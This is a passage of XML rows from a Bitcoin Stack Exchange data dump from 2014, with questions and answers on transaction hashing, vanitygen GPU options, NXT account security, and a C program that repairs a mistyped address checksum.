  <row Id="28232" PostTypeId="1" AcceptedAnswerId="28233" CreationDate="2014-06-30T21:34:03.167" Score="0" ViewCount="536" Body="&lt;p&gt;I would like to know if it's possible for someone to create a raw transaction using bitcoind or bitcoinJ and predict the Transaction hash.How exactly is the transaction ID(hash) calculated ?&lt;/p&gt;&#xA;" OwnerUserId="18439" LastActivityDate="2014-06-30T23:20:16.850" Title="Create custom Transaction ID using Bitcoind raw transaction" Tags="|transactions|bitcoind|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28233" PostTypeId="2" ParentId="28232" CreationDate="2014-06-30T23:20:16.850" Score="1" Body="&lt;p&gt;For the details of computing a transaction ID, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2177/how-to-calculate-a-hash-of-a-tx&quot;&gt;How to calculate a hash of a Tx?&lt;/a&gt;&#xA;Basically, it is the double SHA256 hash of the raw transaction data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 is believed to be a secure hash function, and part of what it means to be a secure hash function is that there is no reasonable way to &quot;predict&quot; what the hash of some input data will be, short of actually computing it.  It also means that there is no reasonable way to compute some input data whose hash will have a specified value.  So if you are trying to create a transaction whose ID is DEADBEEFCAFEBABE0123456789ABCDEFFEDCBA9876543210FACEFEEDACEDBEAD, or matches the ID of some existing transaction, sorry, you cannot (unless you figure out how to break SHA256).  But you can safely assume that nobody else can do so, either.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-06-30T23:20:16.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28234" PostTypeId="2" ParentId="28223" CreationDate="2014-07-01T00:43:21.490" Score="7" Body="&lt;pre&gt;&lt;code&gt; -D 0:0 -D 0:1 -D 0:2  (etc for as many GPUs as you have)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:  Sorry I'll clarify for future users..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./oclvanitygen -i 1address &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets me..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Available OpenCL platforms:&#xA; 0: [Advanced Micro Devices, Inc.] AMD Accelerated Parallel Processing&#xA; 0: [Advanced Micro Devices, Inc.] Tahiti&#xA; 1: [Advanced Micro Devices, Inc.] Tahiti&#xA; 2: [AuthenticAMD] AMD FX(tm)-4130 Quad-Core Processor &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if I want to use the 2x GPU but not the CPU then I'll run..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./oclvanitygen -i 1address -D 0:0 -D 0:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if I want to only use the CPU then I'll do..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./oclvanitygen -i 1address -D 0:2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(yes you can use multiple processes so I could mine one address with one GPU and another with the other GPU)&lt;/p&gt;&#xA;" OwnerUserId="18441" LastEditorUserId="17113" LastEditDate="2014-07-01T15:04:47.623" LastActivityDate="2014-07-01T15:04:47.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28235" PostTypeId="2" ParentId="19572" CreationDate="2014-07-01T00:53:22.413" Score="1" Body="&lt;p&gt;I would look into using sxtools/libbitcoin or maybe just the blockchain.info API. You can make private keys using a vanitygen if you want to make addresses without using bitcoind and perhaps (if you are skilled enough) create raw transactions and push them straight to blockchain or chain sites or even a public bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-07-01T00:53:22.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28236" PostTypeId="2" ParentId="19274" CreationDate="2014-07-01T01:10:21.997" Score="0" Body="&lt;p&gt;If you really want to use bitcoind instead of a payment processor and you have a volume that a single instance of bitcoind can't handle (say, 5 figures of addresses) then you're going to have to build a cluster. Use a database to keep track of which addresses are on which bitcoind instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A vanitygen app might be useful for creating addresses and waiting for a payment before committing the address to a bitcoind wallet to save yourself from filling up servers with unused wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few tools out there to check balances of Bitcoin addresses without having to import them into bitcoind (and without revealing the private key to the tools).&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-07-01T01:10:21.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28237" PostTypeId="2" ParentId="20324" CreationDate="2014-07-01T01:28:11.673" Score="0" Body="&lt;p&gt;If you want to create your own pool I would suggest creating your own p2pool node. Not only do you get all of your own blocks but you get a small percentage of any shares the public might add that contribute to blocks.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-07-01T01:28:11.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28238" PostTypeId="2" ParentId="28230" CreationDate="2014-07-01T08:38:49.630" Score="4" Body="&lt;p&gt;You, the miner, are the one being paid by the pool operator for doing some computation. It's a free and open market. You can switch pools if you're unhappy with the reward or the honesty of an operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To become a pool operator there's no election process or formal checking whatsoever. Again, it's a game based on reputation. Just like any other business, if an operator misbehaves (by stealing funds or something), they lose reputation and therefore users.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-07-01T08:38:49.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28240" PostTypeId="1" CreationDate="2014-07-01T09:49:36.630" Score="3" ViewCount="251" Body="&lt;p&gt;Hi given that bitcoin:1335STSwu9hST4vcMRppEPgENMHD2r1REK is a valid URI. Is it a valid &lt;strong&gt;URL&lt;/strong&gt; (locator!) as well?&lt;/p&gt;&#xA;&lt;p&gt;I tend to say yes when I compare sending bitcoins to a &lt;code&gt;bitcoin:&lt;/code&gt; URI with sending mails to a &lt;code&gt;mailto:&lt;/code&gt; URI. The latter is according to &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2368&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 2368&lt;/a&gt; an URL scheme.&lt;/p&gt;&#xA;" OwnerUserId="18444" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2014-07-03T07:38:31.357" Title="Is the bicoin: URI scheme an URL scheme as well?" Tags="|bip21-uri|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28241" PostTypeId="1" CreationDate="2014-07-01T13:45:58.990" Score="0" ViewCount="833" Body="&lt;p&gt;Found the formula in the following &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1121/costing-arbitrage-between-exchanges&quot;&gt;link&lt;/a&gt;. I can't understand with my knowledge. Can anybody explain me with an example? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;profit = ExchangeA_sell * (1 - ExchangeA_fee) - ExchangeB_buy * (1 + ExchangeB_fee).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One more thing, Is this formula good for all exchanges? Cryptsy and Bter have calculated differently their net total. Bter sell offer is different from cryptsy sell offer. In Bter the trade fee is deducted just opposite to cryptsy in terms of buy and sell currency?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-07-07T07:42:20.757" Title="Can't understand arbitrage profit calculation" Tags="|exchanges|arbitrage|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28244" PostTypeId="1" AcceptedAnswerId="28259" CreationDate="2014-07-01T15:43:29.347" Score="0" ViewCount="314" Body="&lt;p&gt;I just got this address: 1a8LDh3qtCdMSAgRXzMr4zB8w1EG4h1Xi, but the checksum doesn't validate. Can someone help me fix it by changing some characters that look/sound similar? &lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2018-01-21T15:39:38.910" Title="Can you help me fix this address?" Tags="|address|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28245" PostTypeId="1" AcceptedAnswerId="30224" CreationDate="2014-07-01T16:59:53.410" Score="4" ViewCount="407" Body="&lt;p&gt;Are nxt messages stored on the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the character limit on these messages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And are the messages encrypted or publically viewable? If they are public, is there a site to just view all the messages sent?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-08-26T21:48:56.763" Title="Are NXT messages stored on the blockchain and are they encrypted or publicly viewable?" Tags="|blockchain|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28246" PostTypeId="1" CreationDate="2014-07-01T17:02:46.990" Score="1" ViewCount="134" Body="&lt;p&gt;When setting up an NXT account, it is recommended to send a transaction out in order to secure your account. I don't quite understand why it's needed. I know that if you don't send one out, your account is only 64-bit encrypted and when you send it out, it becomes 256-bit encrypted. I don't see how that makes a difference as you can still brute-force it regardless given an amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it necessary to encrypt it when sending an outgoing transaction compared to just receiving one?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="4748" LastEditDate="2014-08-19T21:39:31.047" LastActivityDate="2014-08-19T21:39:31.047" Title="Why do you need to send a transaction out with NXT to secure your address?" Tags="|encryption|nxt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28247" PostTypeId="1" AcceptedAnswerId="28361" CreationDate="2014-07-01T17:04:25.773" Score="1" ViewCount="177" Body="&lt;p&gt;I made a mistake when creating a nxt asset on the asset exchange. How do I delete it or just update the description? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't do neither, how do I get it delisted if its even possible. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-08T17:56:45.720" Title="Can you delete / remove / update a decentralized asset in the NXT Asset Exchange?" Tags="|nxt|decentralized-assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28248" PostTypeId="1" AcceptedAnswerId="28254" CreationDate="2014-07-01T17:06:47.890" Score="3" ViewCount="686" Body="&lt;p&gt;I want to be able to secure my &lt;a href=&quot;http://nxt.org/cryptocurrency/faqs-about-nxt-cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;NXT&lt;/a&gt; in cold storage. What are some ways of doing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since NXT is only accessible via a brain wallet, I can just store the passphrase on a paper, but what if I wanted to see it as a watch-only address? Is that even possible?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1405" LastEditDate="2014-08-19T21:44:20.023" LastActivityDate="2014-12-17T22:52:27.590" Title="What is the equivalent of cold storage or paper wallet for NXT?" Tags="|coldstorage|brain-wallet|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28249" PostTypeId="1" AcceptedAnswerId="28251" CreationDate="2014-07-01T17:08:49.333" Score="1" ViewCount="46" Body="&lt;p&gt;Where can I get a list of upcoming features for NXT coin? And what are some of the upcoming features for coming 2014.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="2306" LastEditDate="2014-08-31T14:20:31.150" LastActivityDate="2014-08-31T14:20:31.150" Title="Where can I get a list of upcoming features for NXT? and whats on the way for 2014?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28250" PostTypeId="1" CreationDate="2014-07-01T17:11:33.950" Score="0" ViewCount="248" Body="&lt;p&gt;Since you can lend / lease you nxt to another account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the pros/cons of this nxt lending feature? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some use case scenarios?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2014-07-05T17:17:48.250" LastActivityDate="2014-07-07T12:20:51.870" Title="How does lending / leasing in NXT work? What are some use case scenarios?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28251" PostTypeId="2" ParentId="28249" CreationDate="2014-07-01T17:21:19.937" Score="0" Body="&lt;p&gt;On the NXT-Wiki you can find a list of &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Planned_Features&quot; rel=&quot;nofollow&quot;&gt;planned features&lt;/a&gt; which are currently in development. Here some examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Voting System&lt;/li&gt;&#xA;&lt;li&gt;Instant Transactions&lt;/li&gt;&#xA;&lt;li&gt;Automated Transactions&lt;/li&gt;&#xA;&lt;li&gt;Multisignature transactions&lt;/li&gt;&#xA;&lt;li&gt;Shrinking (reduce size of Blockchain)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a more detailed release plan, I guess you need to check the project sites of specific features.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-01T17:21:19.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28252" PostTypeId="1" AcceptedAnswerId="29427" CreationDate="2014-07-01T17:38:51.123" Score="1" ViewCount="889" Body="&lt;p&gt;For NXT, why are there 2 different ways of identifying your NXT account? There is a Account ID and Account Numeric ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the differences and why was it done like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are advantages/disadvantages from using one or the other?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-11T17:06:26.753" Title="In NXT, what is the difference from Account ID and Account Numeric ID?" Tags="|wallet|nxt|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28253" PostTypeId="2" ParentId="28252" CreationDate="2014-07-01T18:01:11.420" Score="2" Body="&lt;p&gt;Starting in software version 1.1.3, the numeric account format has been changed to &lt;a href=&quot;https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction&quot; rel=&quot;nofollow&quot;&gt;Reed-Solomon&lt;/a&gt; format by default (the account address starting with NXT- ) which provides higher security against typing mistakes. You still can use both address formats, but the new format is recommended.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-01T18:01:11.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28254" PostTypeId="2" ParentId="28248" CreationDate="2014-07-01T18:11:49.890" Score="1" Body="&lt;p&gt;It is possible, but quite more difficult than with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All NXT tokens/coins are stored on the network, but it is possible to create an account &quot;offline&quot; that is secured by a 256-bit public key and does not expose your private key to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;https://nextcoin.org/index.php/topic,3973.msg37591.html#msg37591&quot; rel=&quot;nofollow&quot;&gt;a step-by-step tutorial on the NXT-Forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="1405" LastEditDate="2014-08-16T13:28:13.883" LastActivityDate="2014-08-16T13:28:13.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28255" PostTypeId="2" ParentId="28146" CreationDate="2014-07-01T19:57:45.510" Score="0" Body="&lt;p&gt;You may want to look at APIs that support both multisig address and building multisig transactions as support in Bitcoin Core is still partial. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#multisig&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#multisig&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-01T19:57:45.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28256" PostTypeId="1" CreationDate="2014-07-01T20:04:40.183" Score="7" ViewCount="20595" Body="&lt;p&gt;How can I convert a bitcoin public key to a bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am using PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing bitcoin API or PHP-API to do that converting ?&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="17113" LastEditDate="2014-07-02T12:06:54.000" LastActivityDate="2014-07-02T12:06:54.000" Title="How can I convert a bitcoin public key to a bitcoin address?" Tags="|bitcoind|bitcoin-core|public-key|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28258" PostTypeId="2" ParentId="28256" CreationDate="2014-07-02T04:27:03.187" Score="8" Body="&lt;p&gt;There is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses#How_to_create_Bitcoin_Address&quot; rel=&quot;noreferrer&quot;&gt;step-by-step tutorial&lt;/a&gt; on the Bitcoin Wiki for converting Keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testing there is a very good website, where you can put in a private or public key and its show you the result of any step: &lt;a href=&quot;http://gobittest.appspot.com/Address&quot; rel=&quot;noreferrer&quot;&gt;http://gobittest.appspot.com/Address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dont want to do those things on your own you could use &lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;noreferrer&quot;&gt;Bitcore&lt;/a&gt;, a JavaScript API for Bitcoin. For a pure PHP Libary there are some custom user projects on github, but I didn't tested any of them.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-02T04:27:03.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28259" PostTypeId="2" ParentId="28244" CreationDate="2014-07-02T04:49:18.250" Score="5" Body="&lt;p&gt;Just for fun, here is some code I threw together that will try substituting up to &lt;code&gt;n&lt;/code&gt; characters to try to make a valid address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a disclaimer, there's no guarantee that any address it finds is actually the &quot;right&quot; one; it could be a different address that is valid but doesn't belong to anyone, in which case any coins sent there would be lost forever.  Use at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running it with &lt;code&gt;n=3&lt;/code&gt; found the address&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1a8LDh3qtCdMFAgRXzMrdvB8w1EG4h1Xi&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;1a8LDh3qtCdMFAgRXzMrdvB8w1EG4h1Xi&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which has a balance of BTC 29658.80268195.  It appears to be the current resting place of the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21031/5757&quot;&gt;Bitcoins seized from Silk Road&lt;/a&gt; that were &lt;a href=&quot;http://dealbook.nytimes.com/2014/07/01/single-winner-of-all-bitcoins-in-u-s-auction/&quot; rel=&quot;nofollow noreferrer&quot;&gt;auctioned today&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To compile (on Linux):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -O3 -o subst subst.c -lssl -lcrypto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need the OpenSSL headers and libraries installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./subst 2 1a8LDh3qtCdMSAgRXzMr4zB8w1EG4h1Xi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will try to replace up to any &lt;code&gt;2&lt;/code&gt; characters to make a valid address.  You can replace &lt;code&gt;2&lt;/code&gt; by &lt;code&gt;1&lt;/code&gt; if you are impatient, or by a larger number if you are very patient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is subst.c.  There is an unused function to try transposing characters from the address, but it is redundant with &lt;code&gt;n &amp;gt;= 2&lt;/code&gt;.  The validation code is from &lt;a href=&quot;http://rosettacode.org/wiki/Bitcoin/address_validation#C&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rosetta Code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;openssl/sha.h&amp;gt;&#xA;&#xA;const char *coin_err;&#xA;#define bail(s) { coin_err = s; return 0; }&#xA;&#xA;static const char *tmpl = &quot;123456789&quot;&#xA;        &quot;ABCDEFGHJKLMNPQRSTUVWXYZ&quot;&#xA;        &quot;abcdefghijkmnopqrstuvwxyz&quot;;&#xA;&#xA;char *xstrdup(const char *s) {&#xA;    char *p;&#xA;    p = strdup(s);&#xA;    if (!p) {&#xA;        fprintf(stderr, &quot;How can you be out of memory?\n&quot;);&#xA;        exit(1);&#xA;    }&#xA;    return p;&#xA;}&#xA;&#xA;int unbase58(const char *s, unsigned char *out) {&#xA;    int i, j, c;&#xA;    const char *p;&#xA;&#xA;    memset(out, 0, 25);&#xA;    for (i = 0; s[i]; i++) {&#xA;        if (!(p = strchr(tmpl, s[i])))&#xA;            bail(&quot;bad char&quot;);&#xA;&#xA;        c = p - tmpl;&#xA;        for (j = 25; j--; ) {&#xA;            c += 58 * out[j];&#xA;            out[j] = c % 256;&#xA;            c /= 256;&#xA;        }&#xA;&#xA;        if (c) bail(&quot;address too long&quot;);&#xA;    }&#xA;&#xA;    return 1;&#xA;}&#xA;&#xA;int valid(const char *s) {&#xA;    unsigned char dec[32], d1[SHA256_DIGEST_LENGTH], &#xA;        d2[SHA256_DIGEST_LENGTH];&#xA;&#xA;    coin_err = &quot;&quot;;&#xA;    if (!unbase58(s, dec)) return 0;&#xA;&#xA;    SHA256(SHA256(dec, 21, d1), SHA256_DIGEST_LENGTH, d2);&#xA;&#xA;    if (memcmp(dec + 21, d2, 4))&#xA;        bail(&quot;bad digest&quot;);&#xA;&#xA;    return 1;&#xA;}&#xA;&#xA;inline void try(const char *s) {&#xA;    if (valid(s)) {&#xA;        printf(&quot;Valid:\t%s\n&quot;, s);&#xA;    }&#xA;}&#xA;&#xA;void subst_int(char *s, char *p0, int n) {&#xA;    if (n == 0)&#xA;        return;&#xA;    char *p;&#xA;    for (p = p0; *p; p++) {&#xA;        char orig = *p;&#xA;        const char *q;&#xA;        for (q = tmpl; *q; q++) {&#xA;            if (*q != orig) {&#xA;                *p = *q;&#xA;                try(s);&#xA;                subst_int(s, p+1, n-1);&#xA;            }&#xA;        }&#xA;        *p = orig;&#xA;    }&#xA;}&#xA;&#xA;void subst(const char *s, int n) {&#xA;    char *buf = xstrdup(s);&#xA;    subst_int(buf, buf, n);&#xA;    free(buf);&#xA;}&#xA;&#xA;inline void swap(char *p, char *q) {&#xA;    char tmp;&#xA;    tmp = *p;&#xA;    *p = *q;&#xA;    *q = tmp;&#xA;}&#xA;&#xA;void transposition(const char *s) {&#xA;    char *buf = xstrdup(s);&#xA;    char *p, *q;&#xA;    for (p = buf; *p; p++) {&#xA;        for (q = p + 1; *q; q++) {&#xA;            if (*p != *q) {&#xA;                swap(p, q);&#xA;                try(buf);&#xA;                swap(p, q);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;    int i;&#xA;    int n;&#xA;&#xA;    if (argc &amp;lt; 3 || (n = atoi(argv[1])) &amp;lt;= 0) {&#xA;        fprintf(stderr, &quot;Usage: %s n addr...\n&quot;, argv[0]);&#xA;        fprintf(stderr, &quot;Substitute up to n characters\n&quot;);&#xA;        exit(2);&#xA;    }&#xA;&#xA;&#xA;    for (i = 2; i &amp;lt; argc; i++) {&#xA;        char *s = argv[i];&#xA;        printf(&quot;%s:\t%s\n&quot;, valid(s) ? &quot;Valid&quot; : &quot;Orig&quot;, s);&#xA;        subst(s, n);&#xA;#if 0 /* redundant with n &amp;gt;= 2 */&#xA;        transposition(s);&#xA;#endif&#xA;        if (i+1 &amp;lt; argc)&#xA;            printf(&quot;\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-07-02T04:57:24.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28260" PostTypeId="2" ParentId="28225" CreationDate="2014-07-02T05:45:39.063" Score="15" Body="&lt;p&gt;Every full Bitcoin node maintains a database of which unspent outputs are left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When verifying a transaction, all its inputs are fetched from the database. If one is missing, validation fails. Among the data retrieved is the value of those unspent outputs, and their script (od address), which define the conditions under which the output can be spent. This information is necessary to validate whether the spending transaction has the correct signatures and does not create more bitcoin than it consumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all validation of all transactions in a block succeed, the consumed inputs are removed from the database, and all outputs of those transactions added as fresh unspent outputs in the database, allowing them to be spent by future blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this database only contains outputs (so no signatures, for example), and even only the unspent ones, it is much smaller than the entire blockchain (some 450 MB as of juli 2014). So, no, we don't go scan through the entire blockchain to know whether outputs are not double-spent - we keep a separate database with just the data we need from it for validation.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-07-02T05:45:39.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28261" PostTypeId="2" ParentId="28246" CreationDate="2014-07-02T06:29:19.350" Score="2" Body="&lt;p&gt;NXT addresses are only 64 bits long. So to find a passphrase that matches it should only take on average 2^63 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once you send a transaction from the address, the address gets permanently locked to the public key you used to make the transaction. The public key is 256 bits. So now even if someone cracks the address, they can't do anything at all until they crack the public key.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-07-02T06:29:19.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28262" PostTypeId="2" ParentId="28245" CreationDate="2014-07-02T06:54:47.657" Score="4" Body="&lt;p&gt;Yes they are stored in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are limited to 1000 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do not have encryption built in, but encryption can be built on top. You can view the last 300 messages &lt;a href=&quot;http://nxtexplorer.com/nxt/nxt.cgi?action=80&amp;amp;show=300&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You can also use that site to browse through blocks and see the messages embedded in each one.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-07-02T06:54:47.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28263" PostTypeId="1" AcceptedAnswerId="28268" CreationDate="2014-07-02T08:08:56.407" Score="6" ViewCount="3426" Body="&lt;p&gt;I have made calculations based on 3 exchange buy and sell orders. (&lt;strong&gt;Cryptsy&lt;/strong&gt;, &lt;strong&gt;C-cex&lt;/strong&gt; and &lt;strong&gt;Bter&lt;/strong&gt;) and have taken &lt;strong&gt;DOGE/BTC&lt;/strong&gt; market into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both cryptsy and C-cex have the same calculations to get the net total amount(Final amount including transaction fee) for both buy and sell order. &#xA;In these exchanges Both buy and sell exchange transaction fee are  in terms of BTC  for DOGE/BTC market. But bter has different calculation on sell order and same calculation for buy order as in cryptsy and C-cex. Here  buy transaction fee in terms of BTC and sell transaction fee in terms of DOGE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am greatly confused about calcuting profit? Kindly look at both Cryptsy and Bter websites to see  the difference between sell orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DOGE/BTC Market&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;case (1): Both buy and sell exchange transaction fee are  BTC (cryptsy-buy, C-cex- sell)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy Exchange = Cryptsy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sell Exchange =  C-Cex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;buy amount = 1 DOGE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sell  amount = 1 DOGE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;buy price =  0.0000038 BTC    //taken from cryptsy exchange  DOGE/BTC buy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sell price =   0.0000042 BTC  //taken from Ccex exchange  DOGE/BTC sell&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;buy_ex_txn_fee = 0. 002 BTC (0.2%)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sell_ex_txn_fee  = 0. 0015 BTC (0.15%)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Buy order:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total = buy_amount * buy_price (Total = 1 * 